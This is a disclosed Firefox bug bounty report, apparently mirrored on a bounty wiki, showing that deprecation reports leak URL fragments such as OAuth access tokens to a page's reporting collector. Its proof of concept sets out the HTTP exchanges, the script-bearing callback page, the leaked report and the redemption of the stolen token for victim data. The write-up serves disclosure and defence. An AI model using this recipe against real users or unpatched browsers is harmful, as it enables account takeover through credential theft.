Reporting API fails to strip URL fragments from report URLs
Firefox's Reporting API sends the full document URL, including any fragment, in browser-generated deprecation reports instead of stripping it. A page that configures a reporting endpoint can therefore leak a fragment-borne OAuth bearer token to that collector, which can then redeem it against the protected API.
Originally disclosed on Mozilla
- Fixed in 7 days
- Paid in 48 days
- Disclosed after 7 days
Created attachment 9601298 reporting-api-fragment.tar.gz
summary
Affected versions: Firefox Release 152.0.2, Firefox Nightly 154.0a1, and Firefox 152.0a1 Nightly build ID 20260619143714. A page that explicitly configures a Reporting API endpoint with Reporting-Endpoints can cause Firefox deprecation reports to send the full document URL fragment in the report envelope url; the deprecation body sourceFile also carries the same unstripped document URL. The sensitive input is a server-issued value placed in the document fragment by the victim application's navigation flow, and the external entry point is browser-generated deprecation reporting to the endpoint configured by the protected page.
dom/reporting/ReportDeliver.cpp, ReportDeliver::Deliver, serializes the report envelope URL directly into the outgoing application/reports+json payload:
w.StringProperty("type", NS_ConvertUTF16toUTF8(report.mType));
w.StringProperty("url", NS_ConvertUTF16toUTF8(report.mURL));
w.StringProperty("user_agent", NS_ConvertUTF16toUTF8(report.mUserAgent));
w.JSONProperty(MakeStringSpan("body"),
Span<const char>(report.mReportBodyJSON.Data(),
report.mReportBodyJSON.Length()));
dom/reporting/ReportDeliver.cpp, report queuing, stores the supplied report URL in ReportData:
type = nsString{aType}, group = nsString{aGroupName},
reportUrl = nsString{aURL},
reportBody = std::move(reportBodyJSON).StringRRef(), principal,
browsingContextId = aAssociatedBrowsingContextId]() mutable {
ReportData data;
dom/reporting/DeprecationReportBody.cpp, deprecation body construction and JSON output, stores and serializes sourceFile with the original fragment-bearing value:
mMessage(aMessage),
mSourceFile(aSourceFile),
mLineNumber(aLineNumber),
mColumnNumber(aColumnNumber) {
if (mSourceFile.IsEmpty()) {
aWriter.NullProperty("sourceFile");
} else {
aWriter.StringProperty("sourceFile", mSourceFile);
}
The missing check is fragment redaction before browser-generated deprecation report delivery. The normative violation is strongest for the report envelope url; the deprecation sourceFile field is an additional observed disclosure of the same unstripped document URL. In an OAuth implicit-flow callback shape, a configured third-party or less-trusted reporting collector receives the access_token fragment from browser-generated reporting even when the page immediately scrubs the fragment with history.replaceState(). The connect-src 'none' policy in the PoC is a control showing that page script is not directly sending the token to the collector.
poc
- Use Firefox Release 152.0.2, Firefox Nightly 154.0a1, or Firefox 152.0a1. Configure
https://REPORT_ORIGIN/reportas a Reporting API collector andhttps://VICTIM_ORIGIN/api/meas a bearer-token protected API. The collector accepts cross-origin report delivery from the victim origin:
OPTIONS /report HTTP/1.1
Host: REPORT_ORIGIN
Origin: https://VICTIM_ORIGIN
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://VICTIM_ORIGIN
Access-Control-Allow-Methods: POST, OPTIONS
Access-Control-Allow-Headers: Content-Type
- Generate
OAUTH_ACCESS_TOKEN_128BITon the victim authorization server, store it as a valid bearer token, and redirect the OAuth flow into the callback fragment:
HTTP/1.1 302 Found
Location: https://VICTIM_ORIGIN/oauth/callback#access_token=OAUTH_ACCESS_TOKEN_128BIT&token_type=Bearer&expires_in=3600
- Serve this OAuth callback page from
https://VICTIM_ORIGIN/oauth/callback:
HTTP/1.1 200 OK
Content-Type: text/html
Reporting-Endpoints: default="https://REPORT_ORIGIN/report"
Content-Security-Policy: default-src 'none'; script-src 'unsafe-inline'; connect-src 'none'
<!doctype html>
<meta charset="utf-8">
<script>
try { document.releaseCapture(); } catch (e) {}
try { document.documentElement.setCapture(); } catch (e) {}
try {
document.createEvent("MouseEvents").initMouseEvent("click", true, true, window);
} catch (e) {}
history.replaceState(null, "", "/oauth/callback");
</script>
- Navigate to the authorization endpoint that returns the redirect from step 2. The browser reaches:
https://VICTIM_ORIGIN/oauth/callback#access_token=OAUTH_ACCESS_TOKEN_128BIT&token_type=Bearer&expires_in=3600
- The callback page removes the fragment from the visible URL with
history.replaceState(), but the report collector receives a browser-generated report containing the original fragment. Relevant fields from the received report:
POST /report HTTP/1.1
Host: REPORT_ORIGIN
Content-Type: application/reports+json
[{"type":"deprecation","url":"https://VICTIM_ORIGIN/oauth/callback#access_token=OAUTH_ACCESS_TOKEN_128BIT&token_type=Bearer&expires_in=3600","body":{"id":"DocumentReleaseCapture","sourceFile":"https://VICTIM_ORIGIN/oauth/callback#access_token=OAUTH_ACCESS_TOKEN_128BIT&token_type=Bearer&expires_in=3600"}}]
The collector responds:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://VICTIM_ORIGIN
- Redeem the token from the report through the protected API:
GET /api/me HTTP/1.1
Host: VICTIM_ORIGIN
Authorization: Bearer OAUTH_ACCESS_TOKEN_128BIT
The victim origin returns protected data:
HTTP/1.1 200 OK
Content-Type: application/json
{"id":"victim-user","email":"[address removed]"}
impact
The impact is disclosure of OAuth fragment bearer credentials to a configured third-party or less-trusted Reporting API endpoint during ordinary navigation to a fragment-bearing callback URL. The collector can receive the fragment token from browser-generated reporting and redeem it against the protected origin's token-authenticated API.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the report serialisation writes the stored document URL and source file verbatim without redacting the fragment before delivery.
Impact
A configured third-party or less-trusted reporting collector could receive the OAuth fragment bearer token and redeem it against the protected origin's API; the connect-src 'none' policy shows page script was not the sender.
What the attacker needed
Firefox 152/154 affected versions; Page configures a Reporting API endpoint; Victim navigates to fragment-bearing URL; Collector accepts cross-origin reports
How it was found
- Configure a reporting collector and a token-protected API, with the collector accepting cross-origin reports from the victim origin.
- Issue an OAuth token and redirect the flow to a callback URL that carries the token in the fragment.
- Serve a callback page that declares the reporting endpoint and clears the fragment with history.replaceState().
- Navigate to the authorisation endpoint so the browser lands on the fragment-bearing callback URL.
- Observe the collector receiving a deprecation report whose url and sourceFile contain the original fragment.
- Redeem the leaked token against the protected API to retrieve victim data.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A URL fragment is the part after the # sign, and some apps put secret tokens there. Firefox can send automatic error reports to an address the page chooses, and it was including the whole URL with the secret part still attached. So whoever runs that report address could read the token and use it to log in as the victim.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.